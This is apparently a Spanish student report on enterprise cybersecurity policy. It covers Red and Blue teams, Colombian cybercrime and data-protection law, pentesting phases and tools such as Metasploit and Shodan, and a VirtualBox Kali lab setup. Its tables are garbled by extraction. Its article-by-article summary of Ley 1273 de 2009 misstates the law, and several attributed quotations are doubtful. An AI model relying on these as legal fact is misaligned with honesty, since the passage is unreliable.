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1. INTRODUCCION

En la era digital actual, la ciberseguridad se ha convertido en un pilar
fundamental de la gestion de riesgos en el entorno empresarial. La creciente
dependencia de la tecnologia de la informacién y la interconexion global han
brindado innumerables oportunidades, pero también han expuesto a las
empresas a un panorama de amenazas cibernéticas en constante evolucion. En
este contexto,la ciberseguridad empresarial se ha vuelto esencial para proteger
activos digitales,mantener la confidencialidad de la informacién y garantizar la

continuidad de la operacion.

Este informe técnico se centra en la interaccion esencial entre las politicas de
seguridad y la implementacion técnica en el contexto de la ciberseguridad
empresarial. Las politicas de seguridad son documentos que establecen las
directrices y procedimientos que rigen la proteccion de la informacién y los
activos criticos de una organizacion. Sin embargo, estas politicas solo cobran
vida a travésde la aplicacion de medidas técnicas concretas. La ciberseguridad
empresarial no es simplemente una cuestion de directrices y reglas, sino una

sinergia entre la orientacion de politicas y la accién técnica.

Las politicas de seguridad son el marco normativo que guia la toma de

decisiones en cuanto a la proteccion de la informacion y los sistemas. Estas



politicasestablecen estandares y expectativas claras para los empleados y otros
usuarios de la tecnologia. Sin embargo, la efectividad de estas politicas depende
en ultima instancia de su implementacion técnica. Las medidas técnicas soélidas
respaldan y dan vida a las politicas, garantizando que las normas se cumplan y

gue los activosdigitales estén protegidos de manera efectiva.

2. OBJETIVOS

GENERAL
Evaluar las acciones de los equipos Red Team & Blue Team de una organizacion

en el marco de los criterios éticos y legales.

ESPECIFICOS
eldentificar y citar puntualmente las leyes colombianas y los articulos
especificos que podrian estar siendo violados por cualquier proceso o
disposicion dentro del Anexo 3 - Acuerdo, que vayan en contra de la

ciberseguridad y la legalidad.

eArgumentar de manera clara y fundamentada por qué ciertos procesos o
disposiciones en el Anexo 3 — Acuerdo podrian estar en contravenciéon de

las leyescolombianas.

eEvaluar y analizar la decisién de aceptar o rechazar el contrato y acuerdo

deconfidencialidad de la organizacion HackerHouse.

eBuscar alguna noticia de cibercrimen en Colombia y redactar su punto de
vista teniendo en cuenta las implicaciones legales y ética.

6



3. RESUMEN

La ciberseguridad se ha convertido en un elemento critico para la gestion de
riesgos en el entorno empresarial actual. Este informe técnico se centra en la
importancia de las politicas de seguridad y su implementacién técnica en la
proteccion de activos digitales y la garantia de la continuidad de las operaciones

deuna empresa.

Las politicas de seguridad son documentos que establecen directrices y
procedimientos para proteger la integridad, confidencialidad y disponibilidad de
la informacién. Sin embargo, su efectividad depende en gran medida de la
implementacion técnica adecuada. Este informe destaca la interaccion esencial
entre las politicas de seguridad y las medidas técnicas, resaltando como ambas

facetas se complementan mutuamente en la ciberseguridad empresarial.

Se analizan las politicas clave, como las relacionadas con contrasefias, acceso,
actualizacion, copias de seguridad y seguridad en dispositivos, y se resaltasu
importancia para establecer estandares y expectativas claras. Luego, se explora
la implementacion técnica de estas politicas, incluyendo la deteccién y
prevencion de amenazas, la autenticacion y el control de acceso, el cifrado de
datos, la respuesta a incidentes y la seguridad en dispositivos. Cada una de

estas medidas técnicas respalda y da vida a las politicas de seguridad.

El informe subraya la necesidad de un enfoque equilibrado que combine politicas

sélidas con medidas técnicas efectivas. La colaboracién entre los departamentos



de seguridad de la informacion y tecnologia de la informacion es esencial para
garantizar una defensa técnica eficaz. La ciberseguridad empresariales un
desafio en constante evolucion, y la inversion en tecnologias de seguridad, la
formacion continua de los empleados y la actualizacion constante de politicas y
practicas son clave para mantener la empresa segura en el panorama digital

actual.



4. INFORME

El enfoque de integraciéon de equipos Blue Team, Red Team y Purple Teamen
una organizacion es esencial para fortalecer la ciberseguridad y la resiliencia
ante amenazas cibernéticas. Esta estrategia, que combina la defensa, la
evaluaciony la colaboracién proactiva, representa un avance significativo en la

gestién de riesgos y la proteccion de activos digitales.

El Blue Team, responsable de la seguridad cibernética defensiva, opera comoel
escudo de la organizacién, monitoreando constantemente la infraestructura,
identificando vulnerabilidades y aplicando medidas de mitigacién (Johnson,
2017). La evaluacion continua de las defensas permite la deteccién temprana de

amenazasy la adaptacién rapida a los cambios en el panorama de seguridad.

Por otro lado, el Red Team desempefia un papel crucial al simular ataques y
amenazas avanzadas con el fin de evaluar la efectividad de las medidas de
seguridad implementadas (GARCIA, 2016). Este enfoque proporciona
informacion valiosa sobre las debilidades y lagunas en la estrategia de seguridad,
lo que permite a la organizaciébn tomar medidas correctivas y mejorar sus

defensas.

La verdadera innovacion radica en la integracion del Purple Team, que actua
como un puente entre el Blue Team y el Red Team (SMITH, 2019). Este equipo
fomenta la colaboracion y la comunicacion entre las partes, permitiendo un
intercambio continuo de conocimientos y estrategias. El Purple Team trabaja

para alinear los esfuerzos defensivos y ofensivos, lo que facilita la mejora



constante de la postura de seguridad de la organizacion.

La combinacion de estos equipos crea un ciclo de retroalimentacion positiva,
donde las debilidades identificadas por el Red Team se abordan eficazmente por
elBlue Team, y las estrategias defensivas mejoradas se comparten con el Red
Team.Esto resulta en una mejora constante y una mayor preparacion ante

amenazas cibernéticas.

Esta integracion de equipos es fundamental para mantener la seguridad
cibernética en constante evolucion en un mundo digital en constante cambio. Al
adoptar este enfoque, las organizaciones pueden optimizar sus recursos, reducir
la exposicion a riesgos y fortalecer su capacidad para defenderse contra
amenazas cibernéticas, garantizando asi la proteccion de sus activos digitales y

la continuidadde sus operaciones.

A continuacion, Se establecen una serie de politicas para mejorar aspectos de

ciberseguridad:
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Tabla 1 Politicas de ciberseguridad

Responsabl
Politica Descripcién Paso a Paso Ventaja
e
1. Requerir
Establece
contrasefias
requisitos para Protege las
complejas. Departa-
Politica de contrasefas cuentas y datos
2. Establecer mento de
contrasefias | fuertes y su contra accesos
cambios de IT
cambio no autorizados.
contrasefa
regular.
regulares.
1.Otorgar
acceso basado Responsa-
Define quién Limita el acceso
en roles. ble de
Politica de tiene acceso a no autorizado a
2. Revisar y Seguridad
acceso qué recursos y sistemas y
revocar permisos de la
cuando. datos.
cuando sea Informacion
necesario.
1. Ofrecer
Politica de | Promueve la Ayuda a los Departamen-
capacitacion
to de

capacitaciéon

formacion y la

en

empleados a
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concienciacion | seguridad. Reconocer y Recursos

de los | 2. prevenir Humanos

empleados Realizar amenazas.

sobre ejercicios de

ciberseguridad | concienciacion.
Politica de | Requiere 1. Establecer un | Corrige Departa-
actualizacion | parchesy programa de | vulnerabilidades | mento de

actualiza- actualizaciones. | conocidasy IT

ciones 2. Automatizar | Mejora la

regulares para | las seguridad.

sistemasy actualizaciones

software. cuando sea

posible.

Politica de | Establece la | 1.Programar Facilita la | Departa-
copias de realizacion copias de recuperaciéon de | mento de
seguridad periddica de seguridad datos en caso de | IT

copias de | regulares. pérdida o dafio.

seguridad de

datos criticos.

2. Almacenar
copias de
seguridad en

ubicacione

sseguras.
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Politica de | Exige el | 1 Implementar | Protege la | Departa-
cifrado Cifrado de elcifrado en | confidencialidad | mento de
comunicacio | dela Seguridad
datos
: : nesy informacion de la
confidenciales
L almacenamiento. . Informacion
en transitoy en sensible.
reposo.
2. Gestionar
claves de cifrado
de manera
segura.
Politica de | Define los | 1. Establecer Permite una Equipo de
respuesta a | pasos a seguir un equipo respuesta rapida | Respuesta
incidentes ante incidentes de respuesta | y eficazante a Incidentes

de seguridad.

a incidentes.

2. Documentar
incidentes y
acciones

tomadas.

amenazas.
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Politica de | Regula qué | 1. Definir una Evita conexiones | Departa-
control  de dispositivos lista de noautorizadas y | mento de
dispositivos pueden dispositivos dispositivos IT
conectarse a permitidos. comprometidos.
lared de 2.Implementar
la soluciones de
organizacion. | gestion de
dispositivos.
Politica de | Establece 1. Utilizar | Protege la red | Departame
acceso reglas para la | conexiones VPN | contra accesos | ntode IT
remoto conexion seguras. no autorizados
2. desde fuera.
asistemas Autenticacion de
desde dos factores para
ubicaciones acceso remoto.
externas.
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Politica de Define cbmo | 1. Registrar | Ayuda a | Equipo de

auditoria vy s€ y revisar | ientificar Seguridad
seguimient monitorean y | registros actividades de la
auditan los de eventos. Informacion
o] sospechosas y
sistemas y 2. Realizar .
cumplir con

Actividades | auditorias ,
regulaciones.

de usuarios. | periédicas.

Sin duda, la importancia de la ciberseguridad en las empresas no puede
subestimarse en la era digital actual. La creciente dependencia de la tecnologia
dela informacién y la interconexion constante han dado lugar a una mayor
exposicidna amenazas cibernéticas. Como lo expreso Michael Dell, CEO de Dell
Technologies: "La ciberseguridad es un desafio global que requiere una
respuesta global". Esta respuesta global es especialmente critica para las
empresas, ya que almacenan y gestionan datos confidenciales, informacién

financiera y otros activos criticos.

En un mundo donde los ciberataques son cada vez mas sofisticados, las
empresas son objetivos frecuentes de ciberdelincuentes. Segun el informe de
Symantec sobre amenazas a la seguridad, las empresas son atacadas
constantemente, y las consecuencias de un ataque exitoso pueden ser
devastadoras, incluyendo la pérdida de datos, la interrupcion de operaciones y
dafos a la reputacion. Para citar a Thomas Friedman, columnista del New York

Times: "Es importante recordar que la ciberseguridad no es solo sobre la
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proteccion de la infraestructura, sino también sobre la proteccion de la

informacioén".

Ademas de las amenazas externas, las empresas deben estar preparadas para
hacer frente a amenazas internas, como empleados negligentes o maliciosos.La
educaciéon y la concienciacion de los empleados son fundamentales en este
contexto, como sefiala Whitfield Diffie, pionero de la criptografia: "La
ciberseguridades realmente solo una cuestion de sentido comun. Se trata de

ensefar a la gente apensar antes de hacer clic".

La adopcion de politicas y practicas de ciberseguridad solidas, como las
mencionadas en este informe, no solo protege a las empresas de amenazas
externas e internas, sino que también les permite cumplir con regulaciones
gubernamentales y estandares de la industria. En palabras de Julius Genachowski,
ex presidente de la Comision Federal de Comunicaciones (FCC) de EE. UU., "La
ciberseguridad no es una caracteristica opcional en la era digital, es una obligacion

critica para proteger nuestros activos y la privacidad de las personas”.

La ciberseguridad en el contexto empresarial es una disciplina técnica que involucra
una serie de practicas y tecnologias especificas. Los ciberatagues modernos son
cada vez mas sofisticados, y los actores maliciosos utilizan técnicasavanzadas para
comprometer sistemas y redes. Como tal, las empresas deben adoptar un enfoque

técnico sélido para proteger sus activos digitales.

Deteccion y Prevencion de Amenazas

La deteccion temprana de amenazas es un pilar central en la ciberseguridad
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empresarial. La implementacion de sistemas de deteccién de intrusiones (IDS) y
sistemas de prevencidon de intrusiones (IPS) es fundamental para monitorear y
bloguear actividades sospechosas en la red. La deteccibn de malware y la
evaluacion del trafico de red en busca de patrones andémalos son practicas clave.
Como lo sefala el informe del Instituto SANS, "la deteccion temprana permite una

respuesta mas rapida y eficaz a los incidentes" (SANS Institute, 2020).

Autenticacién y Control de Acceso

La autenticacion y el control de acceso son fundamentales para garantizar que solo
las personas y dispositivos autorizados tengan acceso a sistemas y datos. La
autenticacion de dos factores (2FA) es una medida critica que agrega una capa
adicional de seguridad. La implementacién de sistemas de gestion de identidades y

accesos (IAM) facilita la administracion de permisos de usuario y roles (NIST, 2017).

Cifrado de Datos

El cifrado de datos, tanto en reposo como en transito, es una técnica efectivapara
proteger la confidencialidad de la informacién. La criptografia moderna, basadaen
algoritmos robustos, garantiza que los datos estén protegidos incluso si caen en
manos equivocadas. La gestion segura de claves de cifrado es esencial para

garantizar que solo las partes autorizadas puedan descifrar los datos (SCHNEIER,

17



1996).

Respuesta a Incidentes

La respuesta a incidentes es un proceso técnico que implica la identificacion,
contencion y recuperacion de sistemas comprometidos. La implementacion de un
equipo de respuesta a incidentes (CSIRT) y la documentacién de los incidentes y
las acciones tomadas son pasos técnicos clave. La recopilacion de evidencia digital

y el analisis forense son practicas comunes en este proceso. (NIS, 2018).

Seguridad en Dispositivos

El control de dispositivos implica la regulacion de qué dispositivos pueden
conectarse a la red de la organizacion. La implementacion de soluciones de gestion
de dispositivos (MDM) permite un control técnico mas preciso. La segmentacion de
red y el aislamiento de dispositivos criticos son estrategias técnicas para prevenir

conexiones no autorizadas (CISCO, 2020).

Video: https://youtu.be/S-6eyKce2cs?si=9g-nAjdvXYijjBxi
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ANALISIS DE LA LEGISLACION RELACIONADA CON DELITOS

INFORMATICOS

LEY 1273 DE 2009

El propdsito principal de esta legislacion es implementar reglas que prevengan,
investiguen y castiguen los delitos informaticos en Colombia, ademas de

salvaguardar la integridad y seguridad de la informacion en el entorno digital.

Asimismo, busca regular el acceso y uso inapropiado de datos electronicos y
establecer medidas para enfrentar el ciberterrorismo y otras acciones ilicitas en el

ciberespacio.

Articulo 1: Define los conceptos clave relacionados con delitos informéticos, como
acceso abusivo a un sistema informatico, dafio informéatico, datos protegidos, entre

otros.

Articulo 2: Establece que la ley se aplica a cualquier acto cometido en el territorio
colombiano, independientemente de la ubicacién del servidor o sistema informético

involucrado.

Articulo 3: Tipifica como delitos informéaticos la interceptacion de datos, el acceso
abusivo a sistemas informéaticos, la violacion de medidas de seguridad, la utilizacion

de software malicioso y otras acciones ilicitas en el ambito digital.
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Articulo 4. Establece penas y sanciones para quienes cometan delitos

informaticos, considerando la gravedad de la infraccién y el dafio causado.

Articulo 5: Faculta a las autoridades competentes para investigar y perseguir los

delitos informéticos, incluso cuando estos sean cometidos en el extranjero.

Articulo 6: Establece que los proveedores de servicios de internet deben colaborar

con las autoridades para identificar a los responsables de delitosinformaticos.

Articulo 7: Promueve la creacién de equipos especializados en ciberseguridad yla

cooperacion internacional para combatir los delitos informéaticos.

Articulo 8: Impulsa la promocion de la educacion y concienciacion acerca de la

seguridad informatica en entidades educativas y empresas.

Articulo 9: Establece la obligacion de las entidades publicas y privadas de
implementar medidas de seguridad para proteger la informacion almacenada en

sistemas informaticos.

Articulo 10: Crea la Unidad de Delitos Informaticos de la Policia Nacional para

investigar y perseguir los delitos informéticos.

LEY 1581 DE 2012

Es una legislacion en Colombia que tiene como propésito establecer medidas para
proteger los datos personales. Su enfoque principal es salvaguardar el derecho
fundamental a la privacidad de los ciudadanos al regular el manejo de la informacién
personal en el territorio nacional.
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Definicion de Datos Personales: La ley define qué se entiende por datos
personales y establece que toda informacion que permita identificar a una persona

o hacerla identificable, de manera directa o indirecta, esta sujeta a esta normativa.

Principios Rectores: La ley establece los principios rectores que deben guiar el
tratamiento de datos personales, como el consentimiento informado, la finalidad

legitima, la calidad, la seguridad y la confidencialidad de la informacion.

Consentimiento: Se requiere el consentimiento previo, expreso e informado de la
persona para el tratamiento de sus datos personales, a menos que exista una

excepcion legal.

Derechos de los Titulares: La ley otorga a los titulares de datos personales una
serie de derechos, como el acceso, rectificacion, actualizacion, cancelacion y

oposicion al tratamiento de sus datos.

Obligaciones de los responsables del Tratamiento: Las organizaciones que
manejan datos personales deben cumplir con ciertas obligaciones, como
implementar medidas de seguridad, garantizar la confidencialidad de la informacion

y registrar sus bases de datos en el Registro Nacional de Bases deDatos.

Transferencia Internacional de Datos: La ley regula la transferencia de datos
personales fuera de Colombia y exige garantias adecuadas para proteger la

privacidad de los titulares.

Autoridad de Control: La Superintendencia de Industria y Comercio es la entidad
encargada de supervisar el cumplimiento de la ley y aplicar sanciones en caso de

incumplimiento.
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LEY 1581 DE 2012

La ley establece las normas generales para proteger los datos personales en
Colombia. Respecto a las multas por el incumplimiento de esta legislaciéon, estas
pueden variar segun la gravedad de la infraccion y la naturaleza de la violacion de

las reglas establecidas.

La Superintendencia de Industria y Comercio (SIC) es la entidad responsable de
supervisar y velar por el cumplimiento de la Ley 1581 de 2012. La SIC cuenta conla
autoridad para llevar a cabo investigaciones y realizar inspecciones con el proposito
de asegurar que las organizaciones estén adecuadamente cumpliendo con las

disposiciones de la ley en lo que respecta al tratamiento de datos personales.
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Tabla 1 Resumen de las leyes mencionadas

Ley 1273 de 2009

Ley 1581 de 2012

Ley 1266 de 2008

Area Delitos informéaticos Proteccion de datos Habeas data y
y ciberseguridad personales proteccion de datos

Objetivo Prevenir, investigar y| Garantizar el derechoa| Regular el manejo de
sancionar delitos| la privacidad de los| informacién financiera
informaticos y proteger| ciudadanos regulando|y crediticia de los
la seguridad de la| el tratamiento de datos| ciudadanos y
informacion en personales proteger sus
entornos digitales derechos

Entidad No especifica una| Superintendencia de| Superintendencia de

Reguladora entidad particular Industria y Comercio Industria y Comercio

(SIC) (SIC)
Consentimient | No aplica a la| Requiere No aplica a Ila

o] proteccion de datos| consentimiento previo,| proteccion de datos
personales expreso e informado| personales
para el tratamiento de
datos personales
Derechos de| No especifica| Acceso, rectificacion,| Acceso, correccion,
lostitulares derechos de titulares| actualizacion, actualizacion y
de datos cancelaciéon y| supresion de
oposicion al informacion
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tratamiento de datos

financiera y crediticia

Obligaciones
de los
responsables

del tratamiento

No especifica
obligaciones
especificas para

tratamiento de datos

personales

Implementar medidas

de seguridad,
garantizar
confidencialidad de
datos y registro en el
Registro Nacional de

Bases de Datos

Implementar medidas
para proteger la
informacion financiera

y crediticia

Multas y| No especifica multasy| Pueden variar segun| Multas y sanciones
sanciones sanciones para| gravedad del| por incumplimientode
incumplimientos incumplimiento de| manejo de
proteccion de datos informacion
financiera y crediticia
Temas Ciberseguridad, Privacidad y| Manejo de
relacionados delitos informaticos | proteccion de datos informacion

personales

financiera y crediticia

Nota: Se especifica las caracteristicas, similitudes y diferencias de las leyes: Ley

1581 de 2012, Ley 1581 de 2012 y Ley 1273 de 2009.
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ANALISIS SOBRE EL EJERCICIO DE PENTESTING

El pentesting, o pruebas de penetracion, es una técnica de evaluacion de seguridad
informatica que busca identificar y evaluar las vulnerabilidades de un sistema, red
o aplicacion, con el objetivo de mejorar su nivel de seguridad. Segun (ROUSE,
2020), el pentesting implica simular ataques reales, utilizando técnicas y
herramientas similares a las que emplearian los ciberdelincuentes, para descubrir

posibles fallos de seguridad y medir la efectividad de las defensas implementadas.

El pentesting es una practica ampliamente reconocida y empleada en el campo de
la seguridad informatica. Los profesionales de seguridad utilizan esta metodologia
para evaluar la fortaleza de la infraestructura de Tl de una organizacién y mitigar
los riesgos potenciales antes de que sean explotados por actores malintencionados

(TOBIN, 2020).

Sus etapas son:

RECOPILACION DE INFORMACION / ENUMERACION:

En esta etapa del pentesting, se lleva a cabo la recopilacion de informacion sobre
el objetivo de la evaluacion, que puede ser una red, sistema o aplicacion. Esta fase
implica el uso de diversas técnicas y herramientas para obtener datos relevantes
sobre la infraestructura, servicios, usuarios y cualquier otra informacionque pueda

ayudar a los evaluadores a entender el panorama general de la entidadobjetivo.
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ANALISIS DE VULNERABILIDADES:

Una vez recopilada la informacion, se procede a analizar los datos obtenidos conel
objetivo de identificar posibles vulnerabilidades en el sistema. Durante esta etapa,
se utilizan diversas herramientas de escaneo y analisis para detectar fallosde
seguridad, configuraciones incorrectas o debilidades que puedan ser explotadas

por un atacante.

EXPLOTACION DE VULNERABILIDADES:

Una vez que se han identificado las vulnerabilidades, el equipo de pentesting
procede a explotarlas con el objetivo de ganar acceso no autorizado al sistema o
red. En esta fase, los evaluadores utilizan técnicas y exploits especificos para
aprovechar las debilidades encontradas y demostrar la gravedad de las fallas de

seguridad.

POST EXPLOTACION:

Después de haber obtenido acceso al sistema objetivo, los evaluadores realizan
una fase de post-explotacion para mantener su presencia de manera encubierta.
Esta etapa simula el comportamiento de un atacante real, con el objetivo de evaluar
la efectividad de las defensas de la organizacion y determinar cémo responderian

ante una amenaza real.
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REPORTE:

Una vez finalizado el proceso de pentesting, se elabora un informe detallado que
documenta todas las acciones realizadas, las vulnerabilidades encontradas y las
recomendaciones para mejorar la seguridad. El reporte es entregado al cliente para
que pueda tomar las medidas necesarias para corregir las vulnerabilidades
identificadas y mejorar la proteccion de su infraestructura.

Footprinting, también conocido como rastreo o huella digital, es una fase inicial del
proceso de pruebas de penetracion (pentesting) o de analisis de seguridad.
Consiste en la recopilacion de informacion sobre una organizacion, su
infraestructura, sistemas, empleados y cualquier otra informacion relevante que

pueda ser utilizada para comprender y evaluar la seguridad de la entidad objetivo.

Segun (Basta, 2017), el footprinting es una actividad legal y ética que busca obtener
una vision general de la exposicion digital de la organizacion antes de continuar con
el proceso de pruebas de penetracion. Esta etapa proporciona una base sélida para
las siguientes fases del pentesting, ya queayuda a los profesionales de seguridad a
tomar decisiones mas informadas sobre qué enfoques y metodologias son mas

apropiados para la evaluacion de la seguridad.

La importancia del footprinting radica en que nos permite conocer en detalle el
objetivo antes de empezar. Es como explorar el terreno antes de una expedicion:
saber donde estan los riesgos, las debilidades y las posibles areas de interés nos
da una ventaja estratégica. Ademas, nos ayuda a tomar decisiones mas informadas

sobre cOmo proceder y qué areas examinar con mas detalle.
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Al realizar el footprinting, estamos poniendo en practica habilidades detectivescasy
analiticas. Es emocionante investigar fuentes de informacion, recopilar datos y
armar un panorama completo. Esta etapa nos da la oportunidad de ejercitar nuestra
creatividad y pensar como un posible atacante, lo que aporta un aspecto desafiante

y enriguecedor a nuestra formacion.
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APLICACIONES (OPENSOURCE Y PAGAS) PODRIA UTILIZAR PARA ESTE

PROCESO

Tabla 2 Herramientas para pentesting

Aplicacion Beneficios Desventajas Licencia
- Requiere
- Amplia gamade
conocimientos
Metasploit exploits y Metasploit
técnicos
herramientas
avanzados
- Version
- Interfaz gréfica
gratuita con (Community
amigable
limitaciones
- Activa comunidad - Version completa
deusuarios y de pago con mas Edition:Open
soporte funcionalidades
- Integracion con
otras herramientas de Source;Pro:

pentesting

Actualizaciones

frecuentes

Propietaria)
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- Escaneo de redes

- Interfaz de

GNU
Nmap rapido y usuario no tan
. ) General
versatil amigable
- Requiere
- Identificacionde conocimientos Public
puertos y servicios técnicos para su License
uso
- No incluye
- Deteccion de
explotacion de (GPL)
vulnerabilidades
vulnerabilidades
- Analisis de
seguridad de - Licencia de pago
Burp Suite Freeware
aplicaciones puede sercostosa
web
- Versioén gratuita
- Escaneo de con
(Community
vulnerabilidades funcionalidades
limitadas
- Proxy y
Edition)

captura detrafico

- Herramientas para
manipulacion de

solicitudes
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- Andlisis de trafico de

- Curva de

GNU
Wireshark red en aprendizaje
) _ General
tiempo real pronunciada
- Requiere
- Soporte parauna Public
acceso a traficode
amplia License
red real
variedad de
protocolos
- Filtrado y - Menos enfocado
bldsqueda de en explotacion de (GPL)
paquetes vulnerabilidades
- Herramientade
- Interfaz de
OWASP seguridad para Apache
usuario menos
Zap aplicaciones License
amigable
web
- Escaneoy - Menos
deteccion de funcionalidades 2.0

vulnerabilidades

gue Burp Suite

- Intercepciéon y
manipulacion de

solicitudes

- Menos soportede
la comunidad

gue Burp Suite
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Actualizaciones

frecuentes

Tabla 3 Herramientas para footprinting

Aplicacion Beneficios Desventajas Licencia
- Requiere
- Herramientade conocimientos GNU
Recon-ng
codigo abierto técnicos para General
Su uso
- Menos amigable
Automatizacion _ Public
parausuarios no
de busqueda de o License
técnicos
informacion
- Amplia variedad
- Puede generar
de modulos para
grandes cantidades (GPL)
recopilacion de
de datos
informacion
- No tan versatil
- Facil de usary GNU
theHarvester como otras
configurar General

herramientas

32




- Recopilacionde - Puede ser
informacionde bloqueado por Public
diversas algunos sitios License
fuentes web

- Menos
- Répida obtencién funcionalidadesen

(GPL)

deresultados comparacion

con otras
- Motor de - Requiere

Shodan Propietaria

busqueda para

suscripcién

dispositivos

conectados

para obtener
resultados mas

completos

- Amplia basede
datos de
dispositivos y

servicios

- Solo muestra
resultados

publicos

- Identificacionde
dispositivos

vulnerables

- No se enfocaen
recopilacionde
informacion

personal
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- Version gratuita

- Interfazgrafica
Maltego tiene Propietaria
amigable
limitaciones
- Analisis de - Version de
relaciones entre pago puede ser
datos costosa
- Recopilacionde
-No es
informacionde
completamente
diversas
cbdigo abierto
fuentes
- Requiere
- Plataforma de
conocimientos GNU
SpiderFoot recopilacion de
informacion
Su uso
- Integracion - Menos
con diversas amigable para Public
fuentes de usuarios no License
datos técnicos
- Analisis - Requiere - Analisis
automatico de acceso a Internet automatico
informacion para de
informacion
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EXPLICACION DE LAS HERRAMIENTAS Y SERVICIOS UTILIZADOS EN

CIBERSEGURIDAD

Metasploit es una herramienta ampliamente utilizada en seguridad informatica,
disefiada para pruebas de penetracién y desarrollo de exploits. Fue desarrolladapor
HD Moore y su equipo en 2003 como un proyecto de cédigo abierto con el propdsito
de ofrecer una plataforma integral para realizar pruebas de seguridad yevaluacion

de vulnerabilidades (MOORE, 2003).

El funcionamiento de Metasploit se basa en un modelo cliente-servidor, donde el
cliente es la interfaz de linea de comandos llamada "msfconsole”. Esta interfaz
permite a los usuarios interactuar con el framework y ejecutar comandos para
realizar diversas acciones, como seleccionar modulos, exploits y payloads,
configurar opciones de escaneo Yy llevar a cabo ataques contra sistemas objetivo

(RAPID7, 2021).

La arquitectura de Metasploit es modular y extensible, permitiendo a los usuarios
agregar o quitar modulos, exploits y payloads segun sus necesidades. Los médulos
de Metasploit estan escritos en Ruby y estdn organizados en categorias
especificas, como exploits, payloads y post-explotacion. Esta arquitectura modular
facilita el desarrollo de nuevos moédulos y exploits, permitiendo la constante

expansion y actualizacion de la herramienta (MOORE, 2003).

Metasploit brinda una amplia variedad de opciones para realizar pruebas de

penetracion y evaluacion de vulnerabilidades. Los usuarios pueden seleccionar
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diferentes modulos de explotacion y payloads para personalizar las pruebas y los
ataques segun el entorno objetivo. Ademas, ofrece opciones para escaneo de
vulnerabilidades, ingenieria social, generacion de reportes, entre otros (RAPID7,

2021).

Metasploit se encuentra disponible en diversas versiones. La version Metasploit
Framework es de codigo abierto y se distribuye de forma gratuita, brindando acceso
a una amplia gama de exploits y médulos. Por otro lado, Metasploit Pro esuna
version comercial que ofrece caracteristicas adicionales, soporte técnico y

actualizaciones frecuentes (RAPID7, 2021).

CVE

Un CVE (Common Vulnerabilities and Exposures) es un sistema de nomenclaturay
enumeracion utilizado para identificar y referirse a vulnerabilidades de seguridaden
software y hardware. Fue desarrollado por el equipo del MITRE Corporation para
facilitar la comunicacion y el intercambio de informacion sobre vulnerabilidades
entre diferentes actores en la comunidad de seguridad informatica (MITRE

Corporation, 2021).

El formato de la estructura de un CVE consta de un identificador alfanumérico Unico
gue sigue una convencion especifica. Segun el MITRE Corporation (2021), la

estructura de un CVE se compone de la siguiente manera:

CVE-YEAR-NUMBER
"CVE": Es el prefijo que indica que el identificador corresponde a un CVE."YEAR":

Representa el afio en que se asigno el identificador.
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"NUMBER": Es el numero especifico de la vulnerabilidad dentro del afio de

asignacion.

Por ejemplo, CVE-2021-12345 es un identificador CVE asignado en el afio 2021 y
representa la vulnerabilidad nimero 12345 identificada en algun software o

hardware especifico.

Este formato de nomenclatura permite que los profesionales de seguridad,
investigadores y proveedores de soluciones puedan referirse de manera Unica a
una vulnerabilidad en particular, facilitando asi la comunicacion y el analisis de las
mismas. Ademas, el sistema CVE también es ampliamente utilizado en bases de
datos de vulnerabilidades, como el NIST National Vulnerability Database (NVD),
para proporcionar informacion detallada sobre cada vulnerabilidad identificada

(National Institute of Standards and Technology, 2021).

Exploit Database (https://www.exploit-db.com/) es un recurso en linea ampliamente
utilizado que proporciona una coleccién de exploits y pruebas deconcepto (POC)
para diversas vulnerabilidades de seguridad en software y hardware. Es una base
de datos publica y gratuita mantenida por Offensive Security, que permite a los
profesionales de seguridad, investigadores y entusiastas de la seguridad acceder a

informacion detallada sobre exploits disponibles para vulnerabilidades conocidas.

La utilizacion de Exploit Database es relativamente sencilla. Los usuarios pueden
acceder al sitio web y buscar exploits utilizando diferentes criterios, como el nombre
del producto, el fabricante, el tipo de vulnerabilidad o el CVE asociado. Al encontrar

un exploit adecuado, los usuarios pueden descargarlo y utilizarlo para realizar
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pruebas de penetracion, pruebas de concepto o investigaciones de seguridad en

sistemas y aplicaciones que puedan ser vulnerables a la explotacion.

La relacion entre Exploit Database y CVE es fundamental para el funcionamiento y
organizacion de la base de datos de exploits. Segun Offensive Security (2021), cada
exploit en Exploit Database estd asociado a una o varias vulnerabilidades
identificadas por su identificador CVE. En la descripcion de cada exploit,
generalmente se proporciona el CVE correspondiente que identifica la

vulnerabilidad que el exploit aprovecha.

Esta articulacion entre Exploit Database y CVE permite a los usuarios encontrar
exploits especificos para vulnerabilidades concretas. Al buscar por el identificador
CVE en Exploit Database, los usuarios pueden acceder rdpidamente a los exploits
disponibles para esa vulnerabilidad especifica, lo que les facilita la investigacion y
la comprension de como se puede explotar dicha vulnerabilidad en diferentes

escenarios.
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Evidencia de la implementacién del “banco de trabajo” en su entorno local

Kali Linux

llustracion 1 Configuracién hardware Kali linux en virtualbox

N z - .
N¢ Crear maquina virtual

Ayuda

Hardware

Puede modificar el hardware de la maquina virtual cambiando la cantidad de RAM y nimero de CPU virtuales.
También es posible habilitar EFI.

Memoria base: ' ; =

4MB 14336 MB
Procesadores: '
1CPU 8 CPUs

[ Habilitar EFI (sélo SO espediales)

Anterior Cancelar
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llustracion 2 Asignacion de espacio en disco duro Kali Linux

V¥ Crear maquina virtual ? X

Disco duro virtual

Si lo desea puede afadir un nuevo disco duro vitual a la nueva maquina. Puede crear un nuevo archivo de disco
duro o seleccionar uno existente. De forma alternativa puede crear una maquina virtual sin un disco duro virtual.

(® Crear un disco duro virtual ahora

Tamafio de disco: ‘ ‘ — ' _ ‘ 16,43 GB

4,00 MB 2,00TB
[[] Reservar tamafio completo

(O Usar un archivo de disco duro virtual existente
Vacio

(O No afiadir un disco duro virtual

Ayuda Anterior Cancelar

llustracion 3 Asignacion de red por medio de adaptador puente Kali linux

E’:} HackerHouse_MarianaMensalve_Kali - Configuracian — O x
E General Red

Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

Pantalla Habilitar adaptador de red

. Conectado a: | Adaptador puente ~
Almacenamiento
Mombre: | Realtek PCle GbE Family Controller w
Audio
b Avanzado
Red

Puertos serie
UsE
Carpetas compartidas

Interfaz de usuario

OD2PETENEE

Cancelar Ayuda
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llustracion 4 Pantalla de inicio Kali linux

marianamonsalve@kaliMMonsalve: ~

Archivo Acciones Editar Vista Ayuda

Sistema d

N

Carpeta p
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Windows 10

llustracion 5 Configuracién hardware Windows 10 en virtualbox

¥# Crear maquina virtual ? X

Hardware

Puede modificar el hardware de la maquina virtual cambiando la cantidad de RAM y nimero de CPU virtuales.
También es posible habilitar EFI.

